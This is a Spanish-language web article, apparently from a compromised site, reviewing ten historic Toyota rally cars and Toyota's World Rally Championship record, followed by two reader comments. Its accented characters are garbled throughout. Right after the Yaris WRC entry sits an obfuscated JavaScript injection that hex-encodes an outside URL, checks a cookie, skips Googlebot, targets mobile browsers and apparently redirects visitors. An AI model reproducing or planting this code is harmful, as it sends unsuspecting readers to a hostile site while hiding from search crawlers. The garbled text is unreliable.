10 autos de rally de Toyota

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Desde su debut en 1972, hasta el 53A? Rally RACC Catalunyaai??i??Rally de EspaAi??a que se disputarA? a partir de maAi??ana, viernes 6 de octubre, Toyota ha competido en un total de 131 rallies del Campeonato del Mundo en diferentes etapas de participaciA?n oficial, incluida la temporada 2017, la del regreso despuAi??s de 18 aAi??os.

Y el balance de resultados es fantA?stico, con 45 victorias, 147 podios, cuatro tAi??tulos de pilotos -Carlos Sainz en 1990 y 1992, Juha Kankkunen en 1993 y Didier Auriol en 1994- y tres de constructores, en 1993, 1994 y 1999.

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Esta emocionante historia estA? protagonizada por un equipo humano legendario, desde Ove Andersson, primer jefe del equipo, a Tommi MAi??kinen, actual director del Toyota GAZOO Racing World Rally Team (WRT), a los que se suma una larga lista de nombres de leyenda, entre los que se encuentran pilotos de la talla de BjAi??rn WaldergA?rd, Hannu Mikkola, Juha Kankkunen, Carlos Sainz y Didier Auriol.

Estos pilotos compitieron con automA?viles tambiAi??n mAi??ticos, que han mostrado su velocidad y robustez en todo tipo de condiciones. AquAi?? hacemos un repaso de diez de ellos.

1. Toyopet Crown

1. Toyopet Crown. El Australia Mobilgas Rally de 1957 fue la primera participaciA?n en competiciA?n de Toyota fuera de JapA?n, gracias a una iniciativa del embajador de JapA?n en Australia. Con un Toyopet Crown con algunas modificaciones, Toyota disputA? una durAi??sima prueba que recorrAi??a todo el paAi??s en sentido de las agujas del reloj, con salida y llegada en Melbourne. Tras recorrer 16.951 km, sA?lo 856 de los cuales estaban asfaltados, Kunio Kaminomura, Kojiro Kondo y el navegador Lindsay Hedley llegaron a meta. Los A?nicos problemas sufridos fueron una vA?lvula de admisiA?n que dijo basta y un canguro que se cruzA? en su camino. El Toyopet Crown, que pesaba 1.700 kilos y montaba un motor de 1.5 litros, con 48 CV de potencia, ganA? en 1958 el Japan Rally.

2. Toyota Corolla Levin TE27 1000 lagos 1975 27

2. Toyota Corolla Levin TE27. Encuadrado en el Grupo 2, este modelo debutA? en el Rally RAC de 1973 con Ove Andersson/Geraint Phillips quienes, pese a una competencia muy numerosa y experimentada, consiguieron ganar varios tramos. En 1974 llegA? la versiA?n de 16 vA?lvulas sobre el block 151E que aumentaba su potencia a 180 CV y ya era capaz de competir cara a cara con rivales de mayor potencia, gracias a su reducido peso (850 kilos) y a las manos de Ove Andersson, BjAi??rn WaldergA?rd y Hannu Mikkola. Este A?ltimo consiguiA? la victoria en el Rally 1000 Lagos de 1975.

3.Toyota Celica GT2000 RA23 1976-Portugal-Rally

3. Toyota Celica GT2000 RA23. Era difAi??cil competir con un Corolla de motor 1.6 litros contra los rivales que montaban motores de dos litros. Por este motivo, Toyota decidiA? participar en el Mundial con el Celica, que equipaba un motor delantero de 2.0 litros, 16 vA?lvulas y doble carburador. El primer Celica GT2000 participA? en la categorAi??a Grupo 2 y, con pocas modificaciones, en Grupo 4. Frente a rivales mucho mA?s alejados de los modelos de serie, Ove Andersson y Hannu Mikkola consiguieron podios en los rallies de Portugal, 1000 Lagos y RAC, en 1976 y 1977.

4. Celica TCT

4. Toyota Celica TCT. El Grupo B de Toyota ai??i??tambiAi??n denominado Celica TA65- compitiA? en el Mundial entre 1983 y 1986. Al contrario que sus rivales, que construyeron autAi??nticos prototipos con tracciA?n total y motor central; Toyota hizo un auto mucho mA?s cercano al Celica de serie, con motor delantero y tracciA?n trasera. El Celica TCT se forjA? una leyenda, ganando 6 rallies y consiguiendo 13 podios en las 16 pruebas en las que compitiA?. Su punto fuerte era su robustez y confiabilidad, que le hacAi??an imbatible en los rallys mA?s duros del mundial. Con Bjorn Waldegard al volante, ganA? en el Rallye Costa de Marfil de 1983 y 1986 y el Rallye Safari de 1984 y 1986; prueba esta A?ltima que venciA? su compaAi??ero Juha Kankkunen en 1985.

5. MR2 222

5. Toyota MR2 222D. El proyecto de Toyota para la frustrada categorAi??a de Grupo S ilustra perfectamente el planteamiento de Toyota en competiciA?n. En lugar de proyectar un prototipo sin ninguna relaciA?n con los modelos de serie, algo que permitAi??a el reglamento, Toyota prefiriA? basarse en su modelo de producciA?n con motor central, el MR2. Al final, la FIA desechA? la categorAi??a Grupo S y este espectacular modelo, del que se construyeron varios prototipos, nunca llegA? a competir.

6. Toyota Supra MA70

6. Toyota Supra MA70. Fue un proyecto para correr en el Grupo A en los rally africanos, el Safari y el Costa de Marfil. Hubo dos versiones, una con motor atmosfAi??rico de seis cilindros y 3.0 litros de cilindrada y otra con una variante turboalimentada de ese propulsor, capaz de rendir mA?s de 400 CV. Entre sus mejores resultados estA? un tercer puesto en el Rally Safari de 1987, con Lars-Erik Torph y Benny Melander a los mandos.

7. Toyota Celica ST 165 GT4 Celica Africa

7. Toyota Celica ST 165 GT4. La decisiA?n de desarrollar un Celica para el Mundial de Grupo A fue todo un acierto. En 1989, su primera temporada completa, Juha Kankkunen consiguiA? la victoria en el Rally de Australia. Al aAi??o siguiente, Carlos Sainz se proclamA? campeA?n del mundo, venciendo en Grecia, Nueva Zelanda, Finlandia y Gran BretaAi??a. En 1991, el piloto espaAi??ol logrA? cinco victorias mA?s, finalizando subcampeA?n del mundo. Incluso en 1992, cuatro aAi??os despuAi??s de su debut, los locales Jonsson/BAi??ckman ganaron el Rally de Suecia con una unidad de este modelo.

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8. Toyota Celica ST 185 4WD. Uno de los autos de mayor Ai??xito en la historia del Campeonato del Mundo de Rallys. CorriA? durante tres temporadas (1992-1994) y ganA? 16 rallies y cinco de los seis campeonatos posibles: tres de pilotos ai??i?? Carlos Sainz, Juha Kankkunen y Didier Auriolai??i?? y dos de constructores. Extraordinariamente versA?til y resistente, fue capaz de ganar sobre todos los terrenos y condiciones, en rallys tan distintos como Kenia, CataluAi??a, Montecarlo, Finlandia o San Remo, entre otros muchos.

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9. Toyota Corolla WRC. Toyota regresA? al Campeonato del Mundo de Rallies con la nueva reglamentaciA?n WRC a finales de la temporada 1997, en la que la pareja Auriol/Giraudet consiguiA? un prometedor tercer puesto en Australia. En la siguiente temporada Carlos Sainz y Luis Moya lucharon por el tAi??tulo hasta el A?ltimo rally de la temporada. Finalmente, en 1999, el Corolla WRC le dio a Toyota su tercer tAi??tulo en Campeonato del Mundo de Constructores.

10. Yaris WRC

10. Toyota Yaris WRC Toyota ha regresado en 2017 a la mA?xima categorAi??a del Campeonato del Mundo de Rallys FIA con el espectacular Yaris WRC, que en su temporada de debut ya ha conseguido dos victorias absolutas: en el Rally de Suecia, con Jari-Matti Latvala al volante, y en Finlandia, con Esapekka Lappi. Equipado con un motor naftero de inyecciA?n directa y 1.6 litros, puede presumir de mA?s de 380 CV bajo el capot y de un diseAi??o impresionante, gracias a la libertad que da la normativa en lo que a aerodinA?mica se refiere. Dispone de tracciA?n total con dos diferenciales mecA?nicos y diferencial central activo con opciones de distribuciA?n del par. El peso del conjunto es de 1.190 kilos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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2 Comentarios, RSS

  1. Jan Lammers 05/10/2017 @ 7:51 pm

    Excelente fotos, la 1 creo que es El Condor-Copina. En 2007 fuimos con 2 amigos desde BsAs, salimos viernes a las 7pm, paramos a cenar en Marcos Juarez (ruta 9 vieja) y llegamos a CBA a la 1.30. Al otro día era Las Bajadas-Villa del Dique y a descansar un rato y esa noche cenamos y salimos despacito para Altas Cumbres ya que nos habían informado mal el tiempo en llegar. Salimos de CBA a la 1.30 y había mucha niebla a partir de VCP.
    Empezamos a subir, yo manejaba el 307 de un amigo en 2da marcha a no más de 40 km/h; no se veía a más de 10 metros. Al llegar al Parador Copina (repleto de gente) no entendíamos como a las 3am estaba a full y seguimos. A los 30 minutos vemos gente de ambos lados y autos estacionados, paramos preguntando donde convenía ver el prime del domingo. Traaaaanquilo paaaapa dice un cordobes con un buen pedazo de vacio jugoso pinchado con un tenedor. Probateee esto antes paaaaaapa que faltan 5 horas para la laaaaaaargada. Y el vacío estaba espectacuuuular. Bueno, ahora duérmanse unas horas, estacionen enfrente y a las 6am abren la traaaaaaanquera.
    Así fue, corrimos a las 6am con 5 grados bajo cero y llegamos a una buena ubicación esperando las 8,40 que paso Loeb arando todo. A mi lado una botella de licor de dulce de leche Bols ya estaba en las últimas y del otro lado empezaban el asado, matambre vuelta y vuelta que comieron cuando pasó el último auto, cerca de las 10hs.

  2. MARIO 05/10/2017 @ 8:04 pm

    A veces me da ganas de pensar que los pilotos de Rally son los mejores del mundo y no consumo mucho de esas carreras.

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